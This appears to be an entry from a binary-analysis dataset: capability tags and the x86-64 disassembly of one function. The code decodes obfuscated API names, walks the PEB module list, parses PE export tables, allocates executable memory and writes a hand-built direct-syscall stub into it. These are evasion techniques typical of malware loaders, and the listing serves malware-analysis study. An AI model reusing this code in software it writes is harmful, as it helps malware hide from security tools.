Function at 0x140127e70
Capabilities:
Access peb ldr_data
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push r13
lea rbp, [rsp - 0x47]
sub rsp, 0x100
mov rax, qword [0x140188020]
xor rax, rsp
mov qword [rbp - 9], rax
mov rax, qword gs:[0x60]
mov ebx, edx
mov r13, rcx
cmp rcx, qword [rax + 0x10]
jbe 0x140127eaa
xor eax, eax
jmp 0x1401285e7
mov qword [rsp + 0x128], rsi
xor esi, esi
mov qword [rsp + 0x130], rdi
mov edi, dword [0x140188030]
mov qword [rsp + 0x138], r12
lea r12d, [rsi + 0x1f]
mov qword [rsp + 0xf8], r14
mov r14d, 0x1b
mov qword [rsp + 0xf0], r15
lea r15d, [rsi + 4]
movaps xmmword [rsp + 0xe0], xmm6
movaps xmmword [rsp + 0xd0], xmm7
mov byte [rbp - 0x25], dl
mov edx, 0x5a4d
movaps xmmword [rsp + 0xc0], xmm8
mov qword [rbp - 0x41], rsi
mov dword [rbp - 0x29], 0xb8d18b4c
mov dword [rbp - 0x24], 0xf6000000
mov dword [rbp - 0x20], 0x3082504
mov dword [rbp - 0x1c], 0x75017ffe
mov dword [rbp - 0x18], 0xc3050f03
mov dword [rbp - 0x14], 0xfc32ecd
mov word [rbp - 0x10], 0x841f
mov qword [rbp - 0x31], r14
cmp byte [rcx], sil
je 0x140127f72
mov dword [rsp + 0x28], 0x40
lea r9, [rbp - 0x31]
xor r8d, r8d
mov dword [rsp + 0x20], 0x3000
lea rdx, [rbp - 0x41]
lea rcx, [rsi - 1]
call qword [r13 + 8]
mov rax, qword [rbp - 0x41]
jmp 0x14012824c
cmp byte [0x14017452b], sil
movups xmm0, xmmword [0x140174518]
mov eax, dword [0x140174528]
mov dword [rbp - 0x49], eax
movups xmmword [rbp - 0x59], xmm0
je 0x140128136
mov r8d, esi
cmp edi, 2
jl 0x1401280e9
movdqa xmm0, xmmword [0x140174970]
lea rcx, [rbp - 0x55]
movdqa xmm5, xmmword [0x1401746e0]
movdqa xmm4, xmmword [0x140174a20]
movdqa xmm7, xmmword [str.6666]
movdqa xmmword [rbp - 0x69], xmm0
mov edx, dword [rbp - 0x69]
movd xmm6, r15d
movd xmm8, r12d
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x140174780]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140174780]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x140127fe0
cmp r8d, 0x14
jge 0x140128131
movsxd rax, r8d
lea r9, [rbp - 0x59]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x3a
xor byte [r9 - 1], al
cmp r8d, 0x14
jl 0x140128100
mov edx, 0x5a4d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
cmp qword [rdi + 0x60], rsi
je 0x14012821e
nop dword [rax]
nop dword [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14012820e
cmp word [r11], dx
jne 0x14012821e
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14012821e
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14012821e
mov r15d, dword [r11 + rcx + 0x1c]
lea rax, [r11 + rcx]
mov r9d, dword [rax + 0x20]
add r15, r11
mov r12d, dword [rax + 0x24]
add r9, r11
mov ebx, dword [rax + 0x18]
add r12, r11
mov r10d, esi
test ebx, ebx
je 0x14012820e
mov ecx, dword [r9]
xor r8b, r8b
add rcx, r11
cmp byte [rcx], sil
je 0x140128202
lea rdx, [rbp - 0x59]
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x1401281fd
cmp byte [rcx], al
jne 0x140128202
inc rcx
mov r8b, 1
cmp byte [rcx], sil
jne 0x1401281d5
movsxd rax, r10d
movzx ecx, word [r12 + rax*2]
mov eax, dword [r15 + rcx*4]
add rax, r11
jmp 0x140128221
test r8b, r8b
jne 0x1401281ec
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x1401281c0
cmp qword [rdi + 0x60], rsi
je 0x14012821e
mov edx, 0x5a4d
jmp 0x140128160
mov rax, rsi
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, r14
xor ecx, ecx
call rax
movzx ebx, byte [rbp - 0x25]
mov r15d, 4
mov edi, dword [0x140188030]
mov qword [rbp - 0x41], rax
lea r12d, [r15 + 0x1b]
lea rcx, [rbp - 0x29]
mov dword [rbp - 0x39], esi
cmp rax, rcx
jbe 0x140128290
lea rcx, [rbp - 0xe]
cmp rax, rcx
jae 0x140128290
lea rcx, [rax + 0x1a]
nop word [rax + rax]
movzx eax, byte [rbp + r14 - 0x2a]
mov byte [rcx], al
lea rcx, [rcx - 1]
sub r14, 1
jne 0x140128270
jmp 0x1401282c2
mov dword [rax], 0xb8d18b4c
mov byte [rax + 4], bl
mov dword [rax + 5], 0xf6000000
mov dword [rax + 9], 0x3082504
mov dword [rax + 0xd], 0x75017ffe
mov dword [rax + 0x11], 0xc3050f03
mov dword [rax + 0x15], 0xfc32ecd
mov word [rax + 0x19], 0x841f
cmp byte [r13], sil
je 0x1401282ef
lea rax, [rbp - 0x39]
mov r9d, 0x10
lea r8, [rbp - 0x31]
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x41]
mov rcx, 0xffffffffffffffff
call qword [r13 + 0x18]
jmp 0x1401285a2
cmp byte [0x140174545], sil
mov eax, dword [0x140174540]
movups xmm0, xmmword [str.lRNIK_]
mov dword [rbp - 0x79], eax
movzx eax, word [0x140174544]
movups xmmword [rsp + 0x30], xmm0
mov word [rbp - 0x75], ax
je 0x1401284b1
mov r8d, esi
cmp edi, 2
jl 0x140128469
movdqa xmm0, xmmword [0x140174970]
lea rcx, [rsp + 0x34]
movdqa xmm5, xmmword [0x1401746e0]
movdqa xmm4, xmmword [0x140174a20]
movdqa xmm7, xmmword [str.6666]
movdqa xmmword [rbp - 0x69], xmm0
mov edx, dword [rbp - 0x69]
movd xmm6, r15d
movd xmm8, r12d
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x140174780]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140174780]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x140128360
cmp r8d, 0x16
jge 0x1401284b1
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x3a
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x140128480
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
cmp qword [rdi + 0x60], rsi
je 0x14012858e
mov r12d, 0x5a4d
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x140128618
cmp word [r11], r12w
jne 0x14012858e
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14012858e
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14012858e
mov r14d, dword [r11 + rcx + 0x1c]
lea rax, [r11 + rcx]
mov r9d, dword [rax + 0x20]
add r14, r11
mov r15d, dword [rax + 0x24]
add r9, r11
mov ebx, dword [rax + 0x18]
add r15, r11
mov r10d, esi
test ebx, ebx
je 0x140128618
mov eax, dword [r9]
xor r8b, r8b
add rax, r11
cmp byte [rax], sil
je 0x140128608
lea rdx, [rsp + 0x30]
sub rdx, rax
nop word [rax + rax]
movzx ecx, byte [rax + rdx]
test cl, cl
je 0x1401285ff
cmp byte [rax], cl
jne 0x140128608
inc rax
mov r8b, 1
cmp byte [rax], sil
jne 0x140128560
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov esi, dword [r14 + rcx*4]
add rsi, r11
mov rdx, qword [rbp - 0x31]
lea r9, [rbp - 0x39]
mov rcx, qword [rbp - 0x41]
mov r8d, 0x10
call rsi
mov rax, qword [rbp - 0x41]
movaps xmm8, xmmword [rsp + 0xc0]
movaps xmm7, xmmword [rsp + 0xd0]
movaps xmm6, xmmword [rsp + 0xe0]
mov r15, qword [rsp + 0xf0]
mov r14, qword [rsp + 0xf8]
mov r12, qword [rsp + 0x138]
mov rdi, qword [rsp + 0x130]
mov rsi, qword [rsp + 0x128]
mov rcx, qword [rbp - 9]
xor rcx, rsp
call fcn.14012b8f0
add rsp, 0x100
pop r13
pop rbx
pop rbp
ret
test r8b, r8b
jne 0x14012857f
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140128540
cmp qword [rdi + 0x60], rsi
jne 0x1401284e0
jmp 0x14012858e